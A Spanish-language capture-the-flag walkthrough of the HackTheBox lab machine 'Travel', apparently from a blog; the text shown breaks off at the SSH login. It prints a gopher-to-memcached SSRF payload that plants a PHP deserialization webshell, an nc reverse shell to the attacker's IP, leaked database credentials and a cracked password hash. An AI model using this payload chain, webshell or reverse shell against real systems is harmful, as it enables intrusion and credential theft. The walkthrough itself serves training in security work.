Travel es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Travel 10.10.10.189 a /etc/hosts como travel.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
# Nmap 7.80 scan initiated Thu May 28 20:13:21 2020 as: nmap -sC -sV -Pn -p- -oA travel-nmap2 10.10.10.189 Nmap scan report for travel.htb (10.10.10.189) Host is up (0.19s latency). Not shown: 65522 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.17.6 |_http-server-header: nginx/1.17.6 |_http-title: Travel.HTB 443/tcp open ssl/http nginx 1.17.6 |_http-server-header: nginx/1.17.6 |_http-title: Travel.HTB - SSL coming soon. | ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK | Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb | Not valid before: 2020-04-23T19:24:29 |_Not valid after: 2030-04-21T19:24:29 3155/tcp filtered jpegmpeg 10762/tcp filtered unknown 13132/tcp filtered unknown 31839/tcp filtered unknown 45506/tcp filtered unknown 48661/tcp filtered unknown 55593/tcp filtered unknown 56220/tcp filtered unknown 58130/tcp filtered unknown 62158/tcp filtered unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu May 28 22:16:46 2020 -- 1 IP address (1 host up) scanned in 7404.50 seconds |
Encontramos tres puertos abiertos, 22, 80 y 443 y 3 dominios:
- travel.htb
- blog.travel.htb
- blog-dev.travel.htb
Así que añadimos los mismos a nuestro fichero de /etc/hosts y comenzamos enumerando las páginas web existentes.
Enumeración
Comenzamos con el portal situado en travel.htb cuyo aspecto es el siguiente:
Enumeramos los posibles directorios con dirb y descubrimos lo siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Thu May 28 09:46:42 2020 URL_BASE: http://travel.htb/ WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt ----------------- GENERATED WORDS: 20458 ---- Scanning URL: http://travel.htb/ ---- ==> DIRECTORY: http://travel.htb/css/ ==> DIRECTORY: http://travel.htb/img/ ==> DIRECTORY: http://travel.htb/js/ ==> DIRECTORY: http://travel.htb/lib/ ==> DIRECTORY: http://travel.htb/newsfeed/ |
Aunque después de varias búsquedas e inspecciones en el código no conseguimos nada relevante así que seguimos.
Comprobamos la misma url pero en el acceso por HTTPS:
Aunque tampoco es útil, además de un mensaje de error de que utilicemos el sitio sin SSL, esto nos hace pensar, pero no conseguimos nada así que continuaremos.
Accedemos al portal de blog.travel.htb donde observamos un sitio basado en el CMS WordPress:
Escaneamos los posibles directorios con wfuzz y obtenemos varias rutas interesantes:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
******************************************************** * Wfuzz 2.4.5 - The Web Fuzzer * ******************************************************** Target: http://blog.travel.htb/FUZZ Total requests: 220560 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000037: 301 0 L 0 W 0 Ch "rss" 000000053: 302 0 L 0 W 0 Ch "login" 000000124: 301 0 L 0 W 0 Ch "0" 000000126: 301 0 L 0 W 0 Ch "feed" 000000169: 301 0 L 0 W 0 Ch "atom" 000000198: 301 0 L 0 W 0 Ch "a" 000000241: 301 9 L 28 W 323 Ch "wp-content" 000000259: 302 0 L 0 W 0 Ch "admin" 000000459: 301 0 L 0 W 0 Ch "h" 000000551: 301 0 L 0 W 0 Ch "rss2" 000000786: 301 9 L 28 W 324 Ch "wp-includes" 000000901: 301 0 L 0 W 0 Ch "A" 000001312: 301 0 L 0 W 0 Ch "H" 000001604: 301 0 L 0 W 0 Ch "rdf" 000001632: 301 0 L 0 W 0 Ch "page1" 000002024: 301 0 L 0 W 0 Ch "'" 000002587: 301 0 L 0 W 0 Ch "aw" 000002927: 302 0 L 0 W 0 Ch "dashboard" 000003305: 301 0 L 0 W 0 Ch "he" 000003790: 301 0 L 0 W 0 Ch "%20" 000005630: 301 0 L 0 W 0 Ch "hello" 000006627: 301 0 L 0 W 0 Ch "2020" 000007180: 301 9 L 28 W 321 Ch "wp-admin" 000007685: 301 0 L 0 W 0 Ch "awesome" 000011090: 301 0 L 0 W 0 Ch "0000" 000013934: 301 0 L 0 W 0 Ch "hello-world" |
Seguimos enumerando, y en este caso accedemos al portal de blog-dev.travel.htb, aunque este nos devuelve un error 403:
Enumeramos el mismo con wfuzz y encontramos varios directorios y ficheros pertenecientes a un repositorio de git:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
wfuzz -u http://blog-dev.travel.htb/FUZZ -w /usr/share/wordlists/SecLists/Fuzzing/fuzz-Bo0oM.txt --hc 404 --hh 154,157 Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzzs documentation for more information. ******************************************************** * Wfuzz 2.4.5 - The Web Fuzzer * ******************************************************** Target: http://blog-dev.travel.htb/FUZZ Total requests: 4288 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000167: C=301 7 L 11 W 170 Ch ".git" 000171: C=200 5 L 13 W 92 Ch ".git/config" 000172: C=200 1 L 2 W 23 Ch ".git/HEAD" 000173: C=200 4 L 13 W 292 Ch ".git/index" 000175: C=200 1 L 11 W 153 Ch ".git/logs/HEAD" 000176: C=301 7 L 11 W 170 Ch ".git/logs/refs" |
Así que utilizaremos la herramienta git-dumper para descargar los mismos:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
$ ./git-dumper.py http://blog-dev.travel.htb blog-dev [-] Testing http://blog-dev.travel.htb/.git/HEAD [200] [-] Testing http://blog-dev.travel.htb/.git/ [403] [-] Fetching common files [-] Fetching http://blog-dev.travel.htb/.gitignore [404] [-] Fetching http://blog-dev.travel.htb/.git/hooks/applypatch-msg.sample [200] [-] Fetching http://blog-dev.travel.htb/.git/description [200] [-] Fetching http://blog-dev.travel.htb/.git/hooks/post-commit.sample [404] [-] Fetching http://blog-dev.travel.htb/.git/hooks/commit-msg.sample [200] [-] Fetching http://blog-dev.travel.htb/.git/COMMIT_EDITMSG [200] [-] Fetching http://blog-dev.travel.htb/.git/hooks/pre-applypatch.sample [200] [-] Fetching http://blog-dev.travel.htb/.git/hooks/post-update.sample [200] [-] Fetching http://blog-dev.travel.htb/.git/hooks/post-receive.sample [404] [-] Fetching http://blog-dev.travel.htb/.git/hooks/pre-commit.sample [200] [-] Fetching http://blog-dev.travel.htb/.git/hooks/pre-push.sample [200] [-] Fetching http://blog-dev.travel.htb/.git/hooks/pre-rebase.sample [200] [-] Fetching http://blog-dev.travel.htb/.git/hooks/pre-receive.sample [200] [-] Fetching http://blog-dev.travel.htb/.git/hooks/prepare-commit-msg.sample [200] [-] Fetching http://blog-dev.travel.htb/.git/hooks/update.sample [200] [-] Fetching http://blog-dev.travel.htb/.git/objects/info/packs [404] [-] Fetching http://blog-dev.travel.htb/.git/index [200] [-] Fetching http://blog-dev.travel.htb/.git/info/exclude [200] [-] Finding refs/ [-] Fetching http://blog-dev.travel.htb/.git/ORIG_HEAD [404] [-] Fetching http://blog-dev.travel.htb/.git/info/refs [404] [-] Fetching http://blog-dev.travel.htb/.git/HEAD [200] [-] Fetching http://blog-dev.travel.htb/.git/logs/HEAD [200] [-] Fetching http://blog-dev.travel.htb/.git/FETCH_HEAD [404] [-] Fetching http://blog-dev.travel.htb/.git/config [200] [-] Fetching http://blog-dev.travel.htb/.git/logs/refs/stash [404] [-] Fetching http://blog-dev.travel.htb/.git/logs/refs/remotes/origin/master [404] [-] Fetching http://blog-dev.travel.htb/.git/packed-refs [404] [-] Fetching http://blog-dev.travel.htb/.git/logs/refs/remotes/origin/HEAD [404] [-] Fetching http://blog-dev.travel.htb/.git/logs/refs/heads/master [200] [-] Fetching http://blog-dev.travel.htb/.git/refs/heads/master [200] [-] Fetching http://blog-dev.travel.htb/.git/refs/remotes/origin/HEAD [404] [-] Fetching http://blog-dev.travel.htb/.git/refs/remotes/origin/master [404] [-] Fetching http://blog-dev.travel.htb/.git/refs/stash [404] [-] Fetching http://blog-dev.travel.htb/.git/refs/wip/wtree/refs/heads/master [404] [-] Fetching http://blog-dev.travel.htb/.git/refs/wip/index/refs/heads/master [404] [-] Finding packs [-] Finding objects [-] Fetching objects [-] Fetching http://blog-dev.travel.htb/.git/objects/03/13850ae948d71767aff2cc8cc0f87a0feeef63 [200] [-] Fetching http://blog-dev.travel.htb/.git/objects/ed/116c7c7c51645f1e8a403bcec44873f74208e9 [200] [-] Fetching http://blog-dev.travel.htb/.git/objects/2b/1869f5a2d50f0ede787af91b3ff376efb7b039 [200] [-] Fetching http://blog-dev.travel.htb/.git/objects/30/b6f36ec80e8bc96451e47c49597fdd64cee2da [200] [-] Fetching http://blog-dev.travel.htb/.git/objects/00/00000000000000000000000000000000000000 [404] [-] Fetching http://blog-dev.travel.htb/.git/objects/b0/2b083f68102c4d62c49ed3c99ccbb31632ae9f [200] [-] Running git checkout . |
Revisamos el contenido obtenido y encontramos el directorio .git y varios ficheros php:
1 2 3 4 5 6 7 8 |
ls -la total 24 drwxrwx--- 1 root vboxsf 4096 may 28 20:28 . drwxrwx--- 1 root vboxsf 4096 may 28 21:54 .. drwxrwx--- 1 root vboxsf 4096 may 28 20:28 .git -rwxrwx--- 1 root vboxsf 540 may 28 20:28 README.md -rwxrwx--- 1 root vboxsf 2970 may 28 20:28 rss_template.php -rwxrwx--- 1 root vboxsf 1387 may 28 20:28 template.php |
Revisamos primero el log de git y encontramos un usuario llamado jane:
1 2 3 4 5 6 |
$ git log commit 0313850ae948d71767aff2cc8cc0f87a0feeef63 (HEAD -> master) Author: jane <jane@travel.htb> Date: Tue Apr 21 01:34:54 2020 -0700 moved to git |
Y varios ficheros que mostramos a continuación, un fichero README típico de un repositorio:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$ cat README.md # Rss Template Extension Allows rss-feeds to be shown on a custom wordpress page. ## Setup * `git clone https://github.com/WordPress/WordPress.git` * copy rss_template.php & template.php to `wp-content/themes/twentytwenty` * create logs directory in `wp-content/themes/twentytwenty` * create page in backend and choose rss_template.php as theme ## Changelog - temporarily disabled cache compression - added additional security checks - added caching - added rss template ## ToDo - finish logging implementation |
En este fichero observamos varios datos interesantes, como la ruta donde se encuentran los logs de la aplicación o, la copia de la plantilla de rss_template.php, cuyo contenido vemos a continuación:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 |
<?php /* Template Name: Awesome RSS */ include('template.php'); get_header(); ?> <main class="section-inner"> <?php function get_feed($url){ require_once ABSPATH . '/wp-includes/class-simplepie.php'; $simplepie = null; $data = url_get_contents($url); if ($url) { $simplepie = new SimplePie(); $simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_'); //$simplepie->set_raw_data($data); $simplepie->set_feed_url($url); $simplepie->init(); $simplepie->handle_content_type(); if ($simplepie->error) { error_log($simplepie->error); $simplepie = null; $failed = True; } } else { $failed = True; } return $simplepie; } $url = $_SERVER['QUERY_STRING']; if(strpos($url, "custom_feed_url") !== false){ $tmp = (explode("=", $url)); $url = end($tmp); } else { $url = "http://www.travel.htb/newsfeed/customfeed.xml"; } $feed = get_feed($url); if ($feed->error()) { echo '<div class="sp_errors">' . "\r\n"; echo '<p>' . htmlspecialchars($feed->error()) . "</p>\r\n"; echo '</div>' . "\r\n"; } else { ?> <div class="chunk focus"> <h3 class="header"> <?php $link = $feed->get_link(); $title = $feed->get_title(); if ($link) { $title = "<a href='$link' title='$title'>$title</a>"; } echo $title; ?> </h3> <?php echo $feed->get_description(); ?> </div> <?php foreach($feed->get_items() as $item): ?> <div class="chunk"> <h4><?php if ($item->get_permalink()) echo '<a href="' . $item->get_permalink() . '">'; echo $item->get_title(); if ($item->get_permalink()) echo '</a>'; ?> <span class="footnote"><?php echo $item->get_date('j M Y, g:i a'); ?></span></h4> <?php echo $item->get_content(); ?> <?php if ($enclosure = $item->get_enclosure(0)) { echo '<div align="center">'; echo '<p>' . $enclosure->embed(array( 'audio' => './for_the_demo/place_audio.png', 'video' => './for_the_demo/place_video.png', 'mediaplayer' => './for_the_demo/mediaplayer.swf', 'altclass' => 'download' )) . '</p>'; if ($enclosure->get_link() && $enclosure->get_type()) { echo '<p class="footnote" align="center">(' . $enclosure->get_type(); if ($enclosure->get_size()) { echo '; ' . $enclosure->get_size() . ' MB'; } echo ')</p>'; } if ($enclosure->get_thumbnail()) { echo '<div><img src="' . $enclosure->get_thumbnail() . '" alt="" /></div>'; } echo '</div>'; } ?> </div> <?php endforeach; ?> <?php } ?> </main> <!-- DEBUG <?php if (isset($_GET['debug'])){ include('debug.php'); } ?> --> <?php get_template_part( 'template-parts/footer-menus-widgets' ); ?> <?php get_footer(); |
Y el fichero de template:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
<?php /** Todo: finish logging implementation via TemplateHelper */ function safe($url) { // this should be secure $tmpUrl = urldecode($url); if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false) { die("<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>"); } if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false) { die("<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>"); } $tmp = parse_url($url, PHP_URL_HOST); // preventing all localhost access if($tmp == "localhost" or $tmp == "127.0.0.1") { die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>"); } return $url; } function url_get_contents ($url) { $url = safe($url); $url = escapeshellarg($url); $pl = "curl ".$url; $output = shell_exec($pl); return $output; } class TemplateHelper { private $file; private $data; public function __construct(string $file, string $data) { $this->init($file, $data); } public function __wakeup() { $this->init($this->file, $this->data); } private function init(string $file, string $data) { $this->file = $file; $this->data = $data; file_put_contents(__DIR__.'/logs/'.$this->file, $this->data); } } |
Viendo el código del fichero template.php y el primer comentario:
1 2 3 |
/* Template Name: Awesome RSS */ |
Observamos que el nombre es el mismo que el de la página de rss del blog:
Revisamos el código obtenido y observamos que en el fichero rss_template.php encontramos un posible parámetro para realizar algún tipo de injección:
1 2 3 |
if(strpos($url, "custom_feed_url") !== false){ $tmp = (explode("=", $url)); $url = end($tmp); |
Y encontramos una parte interesante en el fichero template.php donde podemos, aparentemente, ejecutar una shell con curl:
1 2 3 4 5 6 7 |
function url_get_contents ($url) { $url = safe($url); $url = escapeshellarg($url); $pl = "curl ".$url; $output = shell_exec($pl); return $output; } |
Así que hacemos una petición con curl:
1 |
$ curl http://blog.travel.htb/awesome-rss/?custom_feed_url=10.10.14.67 > /dev/null |
Y tenemos una respuesta en nuestra escucha:
1 2 3 4 5 6 7 |
$ nc -lvp 80 listening on [any] 80 ... connect to [10.10.14.67] from travel.htb [10.10.10.189] 60082 GET / HTTP/1.1 Host: 10.10.14.67 User-Agent: curl/7.64.0 Accept: */* |
Hacemos una segunda petición indicando algo más de información que una simple ip:
1 |
$ curl http://blog.travel.htb/awesome-rss/?custom_feed_url=test://10.10.14.67 > /dev/null |
Y en este segundo caso obtenemos algo más de información al respecto:
1 2 3 4 5 6 7 8 9 |
$ nc -lvp 80 listening on [any] 80 ... connect to [10.10.14.67] from travel.htb [10.10.10.189] 56402 GET /? HTTP/1.1 Host: 10.10.14.67 User-Agent: SimplePie/1.3.1 (Feed Parser; http://simplepie.org; Allow like Gecko) Build/20130911040210 Accept-Encoding: deflate, gzip Referer: http://10.10.14.67/?# Accept: application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1 |
Descubrimos que la librería utilizada en este caso es SimplePie, una librería en PHP para el manejo de datos RSS.
Descubierta la librería, por el momento no podemos hacer mucho al respecto, así que seguimos buscando y encontramos algunas protecciones en el fichero de template:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
function safe($url) { // this should be secure $tmpUrl = urldecode($url); if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false) { die("<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>"); } if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false) { die("<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>"); } $tmp = parse_url($url, PHP_URL_HOST); // preventing all localhost access if($tmp == "localhost" or $tmp == "127.0.0.1") { die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>"); } return $url; } |
Son protecciones contra LFI, Command Injection y SSRF así que tal vez estas no sean las opciones disponibles para obtener una shell en el sistema.
Continuamos revisando y en el fichero rss_template.php, además de la librería, vemos que se está utilizando memcache:
1 |
$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_'); |
y encontramos otro trozo interesante en el fichero rss_template.php donde referencia a un fichero, debug.php:
1 2 3 4 5 6 7 8 |
<!-- DEBUG <?php if (isset($_GET['debug'])){ include('debug.php'); } ?> --> |
Hacemos una petición a través del navegador a http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php pero sólo devuelve:
1 |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
Tal vez sea una forma pero necesitamos primero comprobarlo. Vemos en el código del fichero rss_template.php que, si no encuentra el parámetro de custom_feed_url, carga el contenido de:
1 |
$url = "http://www.travel.htb/newsfeed/customfeed.xml"; |
Así que para verificar si estamos en lo cierto, nos descargamos dicho fichero con wget:
1 |
$ wget http://www.travel.htb/newsfeed/customfeed.xml |
Levantamos un servidor con python y hacemos la petición a:
1 |
http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.67:12312/feed.xml |
Y vemos como se ha descargado el fichero feed.xml desde nuestro servidor:
1 2 3 4 |
$ python3 -m http.server 12312 Serving HTTP on 0.0.0.0 port 12312 (http://0.0.0.0:12312/) ... 10.10.10.189 - - [28/May/2020 22:25:27] "GET /feed.xml HTTP/1.1" 200 - 10.10.10.189 - - [28/May/2020 22:25:27] "GET /feed.xml HTTP/1.1" 200 - |
Acto seguido, volvemos a la página de debug.php y obtenemos los datos serializados de memcache:
Revisamos y encontramos la función de serialización en el fichero template.php, la cual no incluye ninguna protección al realizar este paso:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
class TemplateHelper { private $file; private $data; public function __construct(string $file, string $data) { $this->init($file, $data); } public function __wakeup() { $this->init($this->file, $this->data); } private function init(string $file, string $data) { $this->file = $file; $this->data = $data; file_put_contents(__DIR__.'/logs/'.$this->file, $this->data); } } |
Por lo que este será nuestro vector de ataque para conseguir el acceso a la máquina. En el siguiente post explica como podemos hacer un ataque de ejecución remota de código a través de la serialización de datos en PHP.
Dicho esto, revisaremos el código de la clase de SimplePie y encontramos la forma en la que obtiene el hash para el serializado:
1 |
md5(md5($url):"spc") |
Por lo que vemos que el valor xct_c4e10fd34c es parte del md5 generado por el anterior código, por lo que el hash completo que necesitaríamos sería:
1 |
md5(md5("http://www.travel.htb/newsfeed/customfeed.xml"):"spc") -> 4e5612ba079c530a6b1f148c0b352241 |
Revisando como hacer este tipo de ataque nos encontramos con que Gopherus tiene un código para este tipo de ataque con el fichero PHPMemcached.py, cuyo código es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
import urllib def PHPMemcached(): print "\033[01m" + "\nThis is usable when you know Class and Variable name used by user\n"+ "\033[0m" code = raw_input("\033[96m" +"Give serialization payload\nexample: O:5:\"Hello\":0:{} : "+ "\033[0m") if(not code): print "\033[93m" + "Plz give payload" + "\033[0m" exit() payload = "%0d%0aset SpyD3r 4 0 " + str(len(code)) + "%0d%0a" + code + "%0d%0a" finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":") print "\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m" print "\033[04m" + "gopher://127.0.0.1:11211/_" + finalpayload + "\033[0m" print "\033[93m" +"\nAfter everything done, you can delete memcached item by using this payload: \n"+ "\033[0m" print "\033[04m" + "gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a"+ "\033[0m" print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m" |
Y del cual cogeremos algunas partes para hacer nuestro payload y nuestro script personalizado.
Tendremos que cambiar algunas cosas, por una parte necesitamos nuestro código que estará formado por php-serialize + ssrf + phpmemcache por lo que el código sería el siguiente:
1 |
'O:14:"TemplateHelper":2:{s:4:"file";s:'+str(len(file))+':"'+file+'";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}' |
Para el payload utilizaremos el hash md5 que generamos anteriormente:
1 |
payload = "%0d%0aset xct_4e5612ba079c530a6b1f148c0b352241 4 0 " + str(len(code)) + "%0d%0a" + code + "%0d%0a" |
Y codificaremos el mismo con el siguiente código:
1 |
finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":") |
Quedando como resultado el payload de la siguiente forma:
1 |
"gopher://127.00.0.1:11211/_" + finalpayload |
Completado todo esto, haremos la petición a
1 |
http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url=encodedpayload |
y llamaremos a la deserialización a través de la url
1 |
http://blog.travel.htb/wp-content/themes/twentytwenty/logs/file |
Ejecutaremos entonces nuestro script con los pasos indicados:
1 2 3 4 5 6 7 8 9 |
$ python byteshell.py [+] Payload: gopher://127.00.0.1:11211/_%0d%0aset%20xct_4e5612ba079c530a6b1f148c0b352241%204%200%20108%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:13:%22byteshell.php%22%3Bs:4:%22data%22%3Bs:31:%22%3C%3Fphp%20system%28%24_REQUEST%5B%22cmd%22%5D%29%3B%22%3B%7D%0d%0a [+] Make SSRF in phpmemcache [+] SSRF URL: http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url=gopher://127.00.0.1:11211/_%0d%0aset%20xct_4e5612ba079c530a6b1f148c0b352241%204%200%20108%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:13:%22byteshell.php%22%3Bs:4:%22data%22%3Bs:31:%22%3C%3Fphp%20system%28%24_REQUEST%5B%22cmd%22%5D%29%3B%22%3B%7D%0d%0a [+] Sended payload [+] Checking file [+] Payload URL: http://blog.travel.htb/wp-content/themes/twentytwenty/logs/byteshell.php [+] Payload available on http://blog.travel.htb/wp-content/themes/twentytwenty/logs/byteshell.php [+] Your payload is ready to go |
Y hemos conseguido subir nuestro payload, por lo que procedemos a aprovecharnos de la consola y verificar si realmente tenemos acceso:
1 2 |
$ curl http://blog.travel.htb/wp-content/themes/twentytwenty/logs/byteshell.php?cmd=whoami www-data |
Y vemos como estamos conectados a la máquina con el usuario www-data.
Verificamos si existe nc en la máquina para conseguir una shell:
1 2 |
$ curl http://blog.travel.htb/wp-content/themes/twentytwenty/logs/byteshell.php?cmd=which%20nc /bin/nc |
Y haremos la petición para conseguir el acceso:
1 |
$ curl http://blog.travel.htb/wp-content/themes/twentytwenty/logs/byteshell.php?cmd=nc%20-e%20/bin/bash%2010.10.14.67%204444 |
Y ya estamos dentro con el usuario www-data:
1 2 3 4 5 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.67] from travel.htb [10.10.10.189] 46860 id uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Revisamos el site y encontramos unas credenciales de conexión a mysql en el fichero wp-config.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
// ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wp' ); /** MySQL database username */ define( 'DB_USER', 'wp' ); /** MySQL database password */ define( 'DB_PASSWORD', 'fiFtDDV9LYe8Ti' ); /** MySQL hostname */ define( 'DB_HOST', '127.0.0.1' ); /** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8mb4' ); /** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' ); |
Así que accedemos al mismo:
1 2 3 4 5 6 7 8 9 10 |
$ mysql -u wp -p"fiFtDDV9LYe8Ti" Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 51414 Server version: 10.3.22-MariaDB-0+deb10u1 Debian 10 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> |
Obtenemos las bases de datos existentes:
1 2 3 4 5 6 7 8 9 10 11 12 |
MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | wp | +--------------------+ 4 rows in set (0.001 sec) MariaDB [(none)]> |
Las tablas de la base de datos wp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
MariaDB [(none)]> use wp; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [wp]> show tables; +-----------------------+ | Tables_in_wp | +-----------------------+ | wp_commentmeta | | wp_comments | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | +-----------------------+ 12 rows in set (0.001 sec) MariaDB [wp]> |
Y encontramos un usuario en la table wp_users:
1 2 3 4 5 6 7 |
MariaDB [wp]> select * from wp_users; +----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+ | 1 | admin | $P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/ | admin | admin@travel.htb | http://localhost | 2020-04-13 13:19:01 | | 0 | admin | +----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+ 1 row in set (0.000 sec) |
Probamos con john a descifrar la misma pero sin éxito así que seguimos buscando y encontramos un backup de la misma base de datos en la ruta /opt/wordpress/backup-13-04-2020.sql
Nos descargamos la misma y la analizamos y encontramos que en la misma tabla existe un usuario más en el backup:
1 2 3 4 5 6 7 8 9 10 |
-- -- Dumping data for table `wp_users` -- LOCK TABLES `wp_users` WRITE; /*!40000 ALTER TABLE `wp_users` DISABLE KEYS */; INSERT INTO `wp_users` VALUES (1,'admin','$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/','admin','admin@travel.htb','http://localhost','2020-04-13 13:19:01','',0,'admin'),(2,'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.','lynik-admin','lynik@travel.htb','','2020-04-13 13:36:18','',0,'Lynik Schmidt'); /*!40000 ALTER TABLE `wp_users` ENABLE KEYS */; UNLOCK TABLES; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; |
Volvemos a probar con john con el usuario lynik-admin y ahora sí conseguimos una password:
1 2 3 4 5 6 7 8 9 10 |
$ john lynik-admin.txt -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3]) Cost 1 (iteration count) is 8192 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1stepcloser (?) 1g 0:00:00:28 DONE (2020-05-29 17:44) 0.03451g/s 25217p/s 25217c/s 25217C/s 1stward..1pinto Use the "--show --format=phpass" options to display all of the cracked passwords reliably Session completed |
1 2 |
$ john --show lynik-admin.txt ?:1stepcloser |
Obteniendo la flag de user
Con las password obtenida del usuario lynik-admin, accedemos por ssh:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
